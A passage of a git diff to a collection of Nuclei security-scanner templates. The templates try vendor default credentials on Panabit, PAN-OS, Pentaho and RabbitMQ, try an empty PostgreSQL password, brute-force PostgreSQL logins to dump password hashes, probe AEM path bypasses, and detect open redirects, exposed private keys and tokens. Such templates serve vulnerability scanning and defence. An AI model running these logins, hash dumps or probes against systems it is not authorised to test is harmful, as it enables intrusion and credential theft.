+ reference: https://max.book118.com/html/2017/0623/117514590.shtm + tags: panabit,default-login +requests: - raw: - | POST /login/userverify.cgi HTTP/1.1 @@ -31,38 +17,28 @@ http: Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="username" + Content-Disposition: form-data; name="{{username}}" - {{username}} + admin ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="password" + Content-Disposition: form-data; name="{{password}}" - {{password}} + panabit ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: username: - - admin + - username password: - - panabit + - password attack: pitchfork - matchers-condition: and matchers: - type: word - part: body words: - '' - 'urn:schemas-microsoft-com:vml' + part: body condition: and - - - type: word - part: header - words: - - "paonline_admin" - - type: status status: - 200 - -# digest: 4a0a00473045022075094bb2f356017727cb91e86355f3b6b5dcdf65049358b63a7df818b8063afd022100f58a35a1e7a6e8d497b1942e33024ad52b3281bb6c8e32a87cb22bc319e78c9a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/panabit-default-login-9440.yaml b/poc/auth/panabit-default-login-9440.yaml deleted file mode 100644 index 720a8ce721..0000000000 --- a/poc/auth/panabit-default-login-9440.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: panabit-default-login -info: - name: Panabit Gateway Default Login - author: pikpikcu,ritikchaddha - severity: high - description: Panabit Gateway default credentials were discovered. - reference: - - https://max.book118.com/html/2017/0623/117514590.shtm - - https://en.panabit.com/wp-content/uploads/Panabit-Intelligent-Application-Gateway-04072020.pdf - - https://topic.alibabacloud.com/a/panabit-monitoring-installation-tutorial_8_8_20054193.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N - cvss-score: 5.8 - cwe-id: CWE-522 - metadata: - fofa-query: app="Panabit-智能网关" - tags: panabit,default-login -requests: - - raw: - - | - POST /login/userverify.cgi HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAjZMsILtbrBp8VbC - Referer: {{BaseURL}}/login/login.htm - Accept-Encoding: gzip, deflate - Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 - - ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="username" - - {{username}} - ------WebKitFormBoundaryAjZMsILtbrBp8VbC - Content-Disposition: form-data; name="password" - - {{password}} - ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - payloads: - username: - - admin - password: - - panabit - attack: pitchfork - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - 'urn:schemas-microsoft-com:vml' - condition: and - - type: word - part: header - words: - - "paonline_admin" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/panabit-default-password.yaml b/poc/auth/panabit-default-password.yaml index 1aff766c6b..f7fa2868bc 100644 --- a/poc/auth/panabit-default-password.yaml +++ b/poc/auth/panabit-default-password.yaml @@ -1,12 +1,10 @@ id: panabit-gateway-defalut-password - info: name: Panabit Default Password author: pikpikcu severity: high reference: https://max.book118.com/html/2017/0623/117514590.shtm tags: panabit,default-login - requests: - raw: - | @@ -30,7 +28,6 @@ requests: panabit ------WebKitFormBoundaryAjZMsILtbrBp8VbC-- - matchers-condition: and matchers: - type: word @@ -39,7 +36,6 @@ requests: - 'urn:schemas-microsoft-com:vml' part: body condition: and - - type: status status: - 200 diff --git a/poc/auth/panabit-ixcache-default-login-9443.yaml b/poc/auth/panabit-ixcache-default-login-9443.yaml index b1e035f966..6ca7af1572 100644 --- a/poc/auth/panabit-ixcache-default-login-9443.yaml +++ b/poc/auth/panabit-ixcache-default-login-9443.yaml @@ -1,17 +1,14 @@ id: panabit-ixcache-default-login info: - name: Panabit iXCache - Default Admin Login + name: Panabit iXCache Default Login author: ritikchaddha severity: high - description: Panabit iXCache default admin login credentials were successful. reference: - http://forum.panabit.com/thread-10830-1-1.html - metadata: - max-request: 1 - tags: default-login,ixcache,panabit + tags: ixcache,default-login,panabit -http: +requests: - raw: - | POST /login/userverify.cgi HTTP/1.1 @@ -19,15 +16,16 @@ http: username={{username}}&password={{password}} - attack: pitchfork payloads: username: - admin password: - ixcache + attack: pitchfork matchers-condition: and matchers: + - type: word part: body words: @@ -36,5 +34,3 @@ http: - type: status status: - 200 - -# digest: 4b0a00483046022100c220cc1239979a33a9fa0ff94786fb09f6d2899e97a21be24d458ee690bf2272022100f2539225eb3aaab67a45563f00a03398885b57ed3c0dac3d2b0f6f99e3c0395d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/panabit-ixcache-default-login.yaml b/poc/auth/panabit-ixcache-default-login.yaml new file mode 100644 index 0000000000..4045f6fd00 --- /dev/null +++ b/poc/auth/panabit-ixcache-default-login.yaml @@ -0,0 +1,30 @@ +id: panabit-ixcache-default-login +info: + name: Panabit iXCache Default Login + author: ritikchaddha + severity: high + reference: + - http://forum.panabit.com/thread-10830-1-1.html + tags: ixcache,default-login,panabit +requests: + - raw: + - | + POST /login/userverify.cgi HTTP/1.1 + Host: {{Hostname}} + + username={{username}}&password={{password}} + payloads: + username: + - admin + password: + - ixcache + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - "URL=/cgi-bin/monitor.cgi" + - type: status + status: + - 200 diff --git a/poc/auth/panos-default-login-9454.yaml b/poc/auth/panos-default-login-9454.yaml index 9faa4ae474..d08faa6f8d 100644 --- a/poc/auth/panos-default-login-9454.yaml +++ b/poc/auth/panos-default-login-9454.yaml @@ -1,4 +1,5 @@ id: panos-default-login + info: name: Palo Alto Networks PAN-OS Default Login author: Techryptic (@Tech) @@ -6,11 +7,13 @@ info: description: Palo Alto Networks PAN-OS application default admin credentials were discovered. reference: - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + tags: panos,default-login classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: panos,default-login + requests: - raw: - | @@ -19,21 +22,25 @@ requests: Content-Type: application/x-www-form-urlencoded user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork payloads: username: - admin password: - admin + matchers-condition: and matchers: - type: word part: header words: - "Set-Cookie: PHPSESSID" + - type: word words: - "Warning: Your device is still configured with the default admin" + - type: status status: - 200 diff --git a/poc/auth/panos-default-login-9457.yaml b/poc/auth/panos-default-login-9457.yaml new file mode 100644 index 0000000000..9faa4ae474 --- /dev/null +++ b/poc/auth/panos-default-login-9457.yaml @@ -0,0 +1,41 @@ +id: panos-default-login +info: + name: Palo Alto Networks PAN-OS Default Login + author: Techryptic (@Tech) + severity: high + description: Palo Alto Networks PAN-OS application default admin credentials were discovered. + reference: + - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: panos,default-login +requests: + - raw: + - | + POST /php/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork + payloads: + username: + - admin + password: + - admin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Set-Cookie: PHPSESSID" + - type: word + words: + - "Warning: Your device is still configured with the default admin" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/panos-default-login.yaml b/poc/auth/panos-default-login.yaml new file mode 100644 index 0000000000..cf85a349e1 --- /dev/null +++ b/poc/auth/panos-default-login.yaml @@ -0,0 +1,42 @@ +id: panos-default-login +info: + name: Palo Alto Networks PAN-OS Default Login + author: Techryptic (@Tech) + severity: high + description: Palo Alto Networks PAN-OS application default admin credentials were discovered. + reference: + - https://docs.paloaltonetworks.com/pan-os/8-1/pan-os-admin/getting-started/integrate-the-firewall-into-your-management-network/perform-initial-configuration.html#:~:text=By%20default%2C%20the%20firewall%20has,with%20other%20firewall%20configuration%20tasks. + tags: panos,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 +requests: + - raw: + - | + POST /php/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user={{username}}&passwd={{password}}&challengePwd=&ok=Login + attack: pitchfork + payloads: + username: + - admin + password: + - admin + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Set-Cookie: PHPSESSID" + - type: word + words: + - "Warning: Your device is still configured with the default admin" + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/pentaho-default-login.yaml b/poc/auth/pentaho-default-login.yaml new file mode 100644 index 0000000000..11b51557b7 --- /dev/null +++ b/poc/auth/pentaho-default-login.yaml @@ -0,0 +1,48 @@ +id: pentaho-default-login + +info: + name: Pentaho Default Login + author: pussycat0x + severity: high + description: Pentaho default admin credentials were discovered. + reference: + - https://www.hitachivantara.com/en-us/pdfd/training/pentaho-lesson-1-user-console-overview.pdf + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 + shodan-query: pentaho + tags: pentaho,default-login + +http: + - raw: + - | + POST /pentaho/j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + j_username={{user}}&j_password={{pass}} + + attack: pitchfork + payloads: + user: + - admin + pass: + - password + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'pentaho/Home' + - 'JSESSIONID=' + condition: and + + - type: status + status: + - 302 + +# digest: 490a0046304402207879c4c3d158c1befbc85369695e7c809e1c3321bfd3f41c3c14de63f25a565202206992c6b32c87dcec119c635edb212470f39effb0255284d3fa477e3581a0722e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/pgsql-empty-password.yaml b/poc/auth/pgsql-empty-password.yaml new file mode 100644 index 0000000000..33be6e165f --- /dev/null +++ b/poc/auth/pgsql-empty-password.yaml @@ -0,0 +1,35 @@ +id: pgsql-empty-password + +info: + name: Postgresql Empty Password - Detect + author: pussycat0x + severity: critical + description: | + Postgresql has a flaw that allows the attacker to login with empty password. + reference: + - https://www.tenable.com/plugins/nessus/104031 + metadata: + shodan-query: product:"PostgreSQL" + verified: true + tags: js,network,postgresql,authenticated + +javascript: + - code: | + const postgres = require('nuclei/postgres'); + const client = new postgres.PGClient; + const connected = client.Connect(Host, Port, User, Pass); + connected; + + args: + Host: "{{Host}}" + Port: 5432 + User: "postgres" + Pass: "" + + matchers: + - type: dsl + dsl: + - "success == true" + - "response == true" + condition: and +# digest: 4b0a004830460221008e50b26950dcf2210fda51a5701f47db7525024b4250ed218d0ed204e7f71150022100b303335c8d8809c5c6d19fde148d52cb687c306accf18c793127c3f7a7ea7da5:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/pgsql-list-password-hashes.yaml b/poc/auth/pgsql-list-password-hashes.yaml new file mode 100644 index 0000000000..ff99680e81 --- /dev/null +++ b/poc/auth/pgsql-list-password-hashes.yaml @@ -0,0 +1,50 @@ +id: pgsql-list-password-hashes + +info: + name: PostgreSQL List Password Hashes + author: pussycat0x + severity: high + description: | + Dump password hashes in use within a PostgreSQL database. + reference: + - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-list-password-hashes + - https://launchbylunch.com/posts/2024/Jan/16/postgres-password-encryption/#postgresql-password-encryption-scram-sha-256 + - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/scanner/postgres/postgres_hashdump.md + metadata: + shodan-query: product:"PostgreSQL" + verified: true + tags: js,network,postgresql,authenticated + +javascript: + - code: | + const postgres = require('nuclei/postgres'); + const client = new postgres.PGClient; + connected = client.ExecuteQuery(Host, Port, User, Pass, Db, "SELECT usename, passwd FROM pg_shadow"); + Export(connected) + + args: + Host: "{{Host}}" + Port: 5432 + User: "{{usernames}}" + Pass: "{{password}}" + Db: "{{database}}" + + payloads: + usernames: + - postgres + - admin + password: + - postgres + - + - 123 + - amber + database: + - postgres + + attack: clusterbomb + + extractors: + - type: json + json: + - '.Rows[] | "\(.usename) : \(.passwd)"' +# digest: 4a0a00473045022047f8c59418ff656633d5eba4f98e74b52d0538cd2eda752860280ca7054d81720221008698479a459fb808ae833d9bed8faed411488105ae01bea84f1095e768f7c5bd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/auth/phabricator-login.yaml b/poc/auth/phabricator-login.yaml index fa4fcd4139..1d760838f2 100644 --- a/poc/auth/phabricator-login.yaml +++ b/poc/auth/phabricator-login.yaml @@ -1,32 +1,20 @@ id: phabricator-login - info: - name: Phabricator Login Panel - Detect + name: Phabricator Login author: dhiyaneshDK severity: info - description: Phabricator login panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 - shodan-query: html:"phabricator-standard-page" tags: panel,phabricator - -http: + metadata: + shodan-query: 'html:"phabricator-standard-page"' +requests: - method: GET path: - '{{BaseURL}}/auth/login/' - matchers-condition: and matchers: - type: word words: - 'phabricator-standard-page' - - type: status status: - 200 - -# digest: 4b0a00483046022100c0b9d8f3946c3e2dc2f6cddccc3e0261bc9203d244d5c7f1e673a55b7c15e20b022100b956e70cef96322194942a7d3c17b1365f2e379622e85481b39329c5d25d969a:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/pictatic-api-key-9575.yaml b/poc/auth/pictatic-api-key-9575.yaml new file mode 100644 index 0000000000..946aed1ebf --- /dev/null +++ b/poc/auth/pictatic-api-key-9575.yaml @@ -0,0 +1,13 @@ +id: pictatic-api-key +info: + name: Pictatic API Key + author: gaurang + severity: high + tags: token,file +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "sk_live_[0-9a-z]{32}" diff --git a/poc/auth/pictatic-api-key-9576.yaml b/poc/auth/pictatic-api-key-9576.yaml deleted file mode 100644 index ec20f07569..0000000000 --- a/poc/auth/pictatic-api-key-9576.yaml +++ /dev/null @@ -1,16 +0,0 @@ -id: pictatic-api-key - -info: - name: Pictatic API Key - author: gaurang - severity: high - tags: token,file - -file: - - extensions: - - all - - extractors: - - type: regex - regex: - - "sk_live_[0-9a-z]{32}" \ No newline at end of file diff --git a/poc/auth/pictatic-api-key.yaml b/poc/auth/pictatic-api-key.yaml index 946aed1ebf..ec20f07569 100644 --- a/poc/auth/pictatic-api-key.yaml +++ b/poc/auth/pictatic-api-key.yaml @@ -1,13 +1,16 @@ id: pictatic-api-key + info: name: Pictatic API Key author: gaurang severity: high tags: token,file + file: - extensions: - all + extractors: - type: regex regex: - - "sk_live_[0-9a-z]{32}" + - "sk_live_[0-9a-z]{32}" \ No newline at end of file diff --git a/poc/auth/pieregister-open-redirect-9577.yaml b/poc/auth/pieregister-open-redirect-9577.yaml index 9c51ff20f2..b8dfa52b72 100644 --- a/poc/auth/pieregister-open-redirect-9577.yaml +++ b/poc/auth/pieregister-open-redirect-9577.yaml @@ -1,22 +1,28 @@ id: pieregister-open-redirect info: - name: Pie Register < 3.7.2.4 - Open Redirect - severity: low + name: WordPress Pie Register < 3.7.2.4 - Open Redirect author: 0x_Akoko - description: The plugin passes unvalidated user input to the wp_redirect() function, without validating it, leading to an Open redirect issue. + severity: low + description: WordPress Pie Register < 3.7.2.4 is susceptible to an open redirect vulnerability because the plugin passes unvalidated user input to the wp_redirect() function. reference: - https://wpscan.com/vulnerability/f6efa32f-51df-44b4-bbba-e67ed5785dd4 - https://wordpress.org/plugins/pie-register/ - tags: wordpress,redirect,wp-plugin,pieregister + classification: + cwe-id: CWE-601 + metadata: + max-request: 1 + tags: redirect,wp-plugin,pieregister,wpscan,wordpress -requests: +http: - method: GET path: - - "{{BaseURL}}/?piereg_logout_url=true&redirect_to=https://example.com" + - "{{BaseURL}}/?piereg_logout_url=true&redirect_to=https://interact.sh" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' + +# digest: 4a0a00473045022100b95440752d613f06556a442f526f8962fb0299e4a01e363a20db9cc898704751022054ef973002b686af314f89713dab20e86842e98deb31fc93f5575ebd864463e3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/pieregister-open-redirect.yaml b/poc/auth/pieregister-open-redirect-9579.yaml similarity index 100% rename from poc/auth/pieregister-open-redirect.yaml rename to poc/auth/pieregister-open-redirect-9579.yaml diff --git a/poc/auth/pieregister-plugin-open-redirect.yaml b/poc/auth/pieregister-plugin-open-redirect.yaml index e26d6d42a2..c62c96f14f 100644 --- a/poc/auth/pieregister-plugin-open-redirect.yaml +++ b/poc/auth/pieregister-plugin-open-redirect.yaml @@ -1,16 +1,16 @@ id: wptouch-plugin-open-redirect info: - name: Pie Register < 3.7.2.4 - Open Redirect + name: WPTouch Switch Desktop 3.x Open Redirection author: 0x_Akoko - reference: https://wpscan.com/vulnerability/f6efa32f-51df-44b4-bbba-e67ed5785dd4 - severity: low - tags: wp,redirect,wp-plugin + reference: https://cxsecurity.com/issue/WLB-2020030114 + severity: medium + tags: wp,redirect,wordpress requests: - method: GET path: - - "{{BaseURL}}/?piereg_logout_url=true&redirect_to=https://example.com" + - "{{BaseURL}}/?wptouch_switch=desktop&redirect=https://example.com/" matchers: - type: regex diff --git a/poc/auth/plastic-scm-login-9593.yaml b/poc/auth/plastic-scm-login-9593.yaml index 526875d044..28539eb5fd 100644 --- a/poc/auth/plastic-scm-login-9593.yaml +++ b/poc/auth/plastic-scm-login-9593.yaml @@ -1,14 +1,18 @@ id: plastic-scm-login + info: name: Plastic SCM Login author: dhiyaneshDK severity: info - reference: https://www.shodan.io/search?query=http.title%3A%22Log+in+-+Plastic+SCM%22 + reference: + - https://www.shodan.io/search?query=http.title%3A%22Log+in+-+Plastic+SCM%22 tags: panel,plastic + requests: - method: GET path: - '{{BaseURL}}/account' + matchers-condition: and matchers: - type: word diff --git a/poc/auth/polycom-login-9625.yaml b/poc/auth/polycom-login-9625.yaml deleted file mode 100644 index 29489ef1a1..0000000000 --- a/poc/auth/polycom-login-9625.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: polycom-login -info: - name: Polycom Login - author: DhiyaneshDk - severity: info - reference: https://www.exploit-db.com/ghdb/6863 - tags: panel -requests: - - method: GET - path: - - "{{BaseURL}}/login.html" - matchers-condition: and - matchers: - - type: word - words: - - "Polycom Login" - part: body - - type: status - status: - - 200 diff --git a/poc/auth/polycom-login-9627.yaml b/poc/auth/polycom-login-9627.yaml new file mode 100644 index 0000000000..ec8f498c53 --- /dev/null +++ b/poc/auth/polycom-login-9627.yaml @@ -0,0 +1,21 @@ +id: polycom-login +info: + name: Polycom Login + author: DhiyaneshDk + severity: info + reference: + - https://www.exploit-db.com/ghdb/6863 + tags: panel +requests: + - method: GET + path: + - "{{BaseURL}}/login.html" + matchers-condition: and + matchers: + - type: word + words: + - "Polycom Login" + part: body + - type: status + status: + - 200 diff --git a/poc/auth/possible-AEM-secrets.yaml b/poc/auth/possible-AEM-secrets.yaml deleted file mode 100644 index 198c19fcd3..0000000000 --- a/poc/auth/possible-AEM-secrets.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: aem-secrets - -info: - name: AEM Secrets - Sensitive Information Disclosure - author: boobooHQ,j3ssie - severity: high - description: | - Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc. - reference: - - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/ - metadata: - verified: true - max-request: 2 - tags: aem,adobe,misconfig,exposure - -http: - - method: GET - path: - - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" - - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" - - headers: - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - Accept-Language: en-US,en;q=0.9,hi;q=0.8 - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"jcr:uuid"' - - '"jcr:createdBy"' - - '"uri"' - condition: and - - - type: word - part: header - words: - - application/json - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100f26aef400ffc895f1d84d377c7c8889af3a56490902382de4d7e2504f59b48bc02210090f54e744e9f760d4a740a9b6d7fe6a61d4904e4823b4d43318598fd8b2b10ce:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/private-key-9655.yaml b/poc/auth/private-key-9655.yaml index 59c618b305..282a2ab3a0 100644 --- a/poc/auth/private-key-9655.yaml +++ b/poc/auth/private-key-9655.yaml @@ -10,12 +10,12 @@ file: extractors: - type: regex regex: - - "BEGIN OPENSSH PRIVATE KEY" - - "BEGIN PRIVATE KEY" - - "BEGIN RSA PRIVATE KEY" - - "BEGIN DSA PRIVATE KEY" - - "BEGIN EC PRIVATE KEY" - - "BEGIN PGP PRIVATE KEY BLOCK" - - "ssh-rsa" - - "ssh-dsa" - - "ssh-ed25519" + - "\"BEGIN OPENSSH PRIVATE KEY\"" + - "\"BEGIN PRIVATE KEY\"" + - "\"BEGIN RSA PRIVATE KEY\"" + - "\"BEGIN DSA PRIVATE KEY\"" + - "\"BEGIN EC PRIVATE KEY\"" + - "\"BEGIN PGP PRIVATE KEY BLOCK\"" + - "\"ssh-rsa\"" + - "\"ssh-dsa\"" + - "\"ssh-ed25519\"" diff --git a/poc/auth/project-insight-login.yaml b/poc/auth/project-insight-login.yaml index cc38d84bec..25ca7743a1 100644 --- a/poc/auth/project-insight-login.yaml +++ b/poc/auth/project-insight-login.yaml @@ -1,23 +1,35 @@ id: project-insight-login + info: - name: Project Insight - Login + name: Project Insight Login Panel - Detect author: dhiyaneshDk severity: info + description: Project Insight login panel was detected. reference: - https://www.exploit-db.com/ghdb/7413 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 metadata: + max-request: 1 shodan-query: http.title:"Project Insight - Login" - tags: panel -requests: + tags: panel,edb + +http: - method: GET path: - "{{BaseURL}}/auth/login" + matchers-condition: and matchers: - type: word part: body words: - "Project Insight - Login" + - type: status status: - 200 + +# digest: 4a0a004730450220101009023509eb13aaf56447e9cbbb0110d2919060f5830f081b9411ff8b2c88022100e6962fcfd9c3c738f7b95bca52cef9a2338266fe4a7eaea468b990eeb1274141:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/putty-private-key-disclosure-9731.yaml b/poc/auth/putty-private-key-disclosure-9731.yaml new file mode 100644 index 0000000000..bdb1c932e8 --- /dev/null +++ b/poc/auth/putty-private-key-disclosure-9731.yaml @@ -0,0 +1,22 @@ +id: putty-private-key-disclosure +info: + name: Putty Private Key Disclosure + author: dhiyaneshDk + severity: medium + reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/putty-private-key-disclosure.json + tags: exposure,files +requests: + - method: GET + path: + - "{{BaseURL}}/my.ppk" + matchers-condition: and + matchers: + - type: word + words: + - "PuTTY-User-Key-File" + - "Encryption:" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/putty-private-key-disclosure-9732.yaml b/poc/auth/putty-private-key-disclosure-9732.yaml deleted file mode 100644 index 1dc255d138..0000000000 --- a/poc/auth/putty-private-key-disclosure-9732.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: putty-private-key-disclosure - -info: - name: Putty Private Key Disclosure - author: dhiyaneshDk - severity: medium - reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/putty-private-key-disclosure.json - tags: exposure,files - -requests: - - method: GET - path: - - "{{BaseURL}}/my.ppk" - - matchers-condition: and - matchers: - - type: word - words: - - "PuTTY-User-Key-File" - - "Encryption:" - part: body - condition: and - - - type: status - status: - - 200 diff --git a/poc/auth/putty-private-key-disclosure.yaml b/poc/auth/putty-private-key-disclosure.yaml index bdb1c932e8..180d0b0e29 100644 --- a/poc/auth/putty-private-key-disclosure.yaml +++ b/poc/auth/putty-private-key-disclosure.yaml @@ -1,22 +1,42 @@ id: putty-private-key-disclosure + info: name: Putty Private Key Disclosure - author: dhiyaneshDk + author: DhiyaneshDk,geeknik severity: medium - reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/putty-private-key-disclosure.json + reference: + - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/putty-private-key-disclosure.json + metadata: + verified: true + max-request: 8 + github-query: filename:putty.ppk tags: exposure,files -requests: + +http: - method: GET path: - "{{BaseURL}}/my.ppk" + - "{{BaseURL}}/putty.ppk" + - "{{BaseURL}}/{{Hostname}}.ppk" + - "{{BaseURL}}/.ssh/putty.ppk" + - "{{BaseURL}}/.ssh/{{Hostname}}.ppk" + - "{{BaseURL}}/.putty/my.ppk" + - "{{BaseURL}}/.putty/putty.ppk" + - "{{BaseURL}}/.putty/{{Hostname}}.ppk" + + stop-at-first-match: true + matchers-condition: and matchers: - type: word + part: body words: - "PuTTY-User-Key-File" - "Encryption:" - part: body condition: and + - type: status status: - 200 + +# digest: 4b0a00483046022100ce7b7120a691b5d104107aa02d9699431f57f44fb09202f91ab710e5cdcf482f022100c57397a3dc141483cefd4e144ac4eb0d6f299600bd221e44345b3a1d8e291359:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/rabbitmq-default-login-9786.yaml b/poc/auth/rabbitmq-default-login-9786.yaml index 6ac4bf64be..9d549477c7 100644 --- a/poc/auth/rabbitmq-default-login-9786.yaml +++ b/poc/auth/rabbitmq-default-login-9786.yaml @@ -1,49 +1,42 @@ id: rabbitmq-default-login - info: name: RabbitMQ Default Login author: fyoorer,dwisiswant0 severity: high description: RabbitMQ default admin credentials were discovered. + tags: rabbitmq,default-login reference: - https://onlinehelp.coveo.com/en/ces/7.0/administrator/changing_the_rabbitmq_administrator_password.htm classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - max-request: 1 - tags: rabbitmq,default-login - -http: +requests: - raw: - | GET /api/whoami HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - guest password: - guest attack: pitchfork - matchers-condition: and matchers: - type: word words: - "application/json" part: header - - type: word words: - "{\"name\":\"guest\"" part: body - - type: status status: - 200 -# digest: 4b0a004830460221009d26c6e1ef12e83c3a25ea0a2967382a318d40f0928340905b92cf4eea19a813022100a7ba1c7a3117af056840a85052fdda635d395f0710072eb8c2d35b2c84a34c79:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/rails-secret-token-disclosure-9809.yaml b/poc/auth/rails-secret-token-disclosure-9809.yaml deleted file mode 100644 index 387218b6c6..0000000000 --- a/poc/auth/rails-secret-token-disclosure-9809.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: rails-secret-token-disclosure -info: - name: Ruby on Rails Secret Token Disclosure - author: dhiyaneshDk - severity: medium - reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/ruby-on-rails-secret-token-disclosure.json - tags: exposure,files,rails,ruby,token -requests: - - method: GET - path: - - "{{BaseURL}}/config/initializers/secret_token.rb" - matchers-condition: and - matchers: - - type: word - words: - - "secret_key_base =" - - "config.secret_token =" - part: body - condition: and - - type: status - status: - - 200 diff --git a/poc/auth/rails-secret-token-disclosure-9810.yaml b/poc/auth/rails-secret-token-disclosure-9810.yaml new file mode 100644 index 0000000000..8505b6ebc5 --- /dev/null +++ b/poc/auth/rails-secret-token-disclosure-9810.yaml @@ -0,0 +1,23 @@ +id: rails-secret-token-disclosure +info: + name: Ruby on Rails Secret Token Disclosure + author: dhiyaneshDk + severity: medium + reference: + - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/ruby-on-rails-secret-token-disclosure.json + tags: exposure,files,rails,ruby,token +requests: + - method: GET + path: + - "{{BaseURL}}/config/initializers/secret_token.rb" + matchers-condition: and + matchers: + - type: word + words: + - "secret_key_base =" + - "config.secret_token =" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/rails-secret-token-disclosure.yaml b/poc/auth/rails-secret-token-disclosure.yaml index 8505b6ebc5..c6d9cbab09 100644 --- a/poc/auth/rails-secret-token-disclosure.yaml +++ b/poc/auth/rails-secret-token-disclosure.yaml @@ -1,15 +1,20 @@ id: rails-secret-token-disclosure + info: name: Ruby on Rails Secret Token Disclosure author: dhiyaneshDk severity: medium reference: - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/ruby-on-rails-secret-token-disclosure.json + metadata: + max-request: 1 tags: exposure,files,rails,ruby,token -requests: + +http: - method: GET 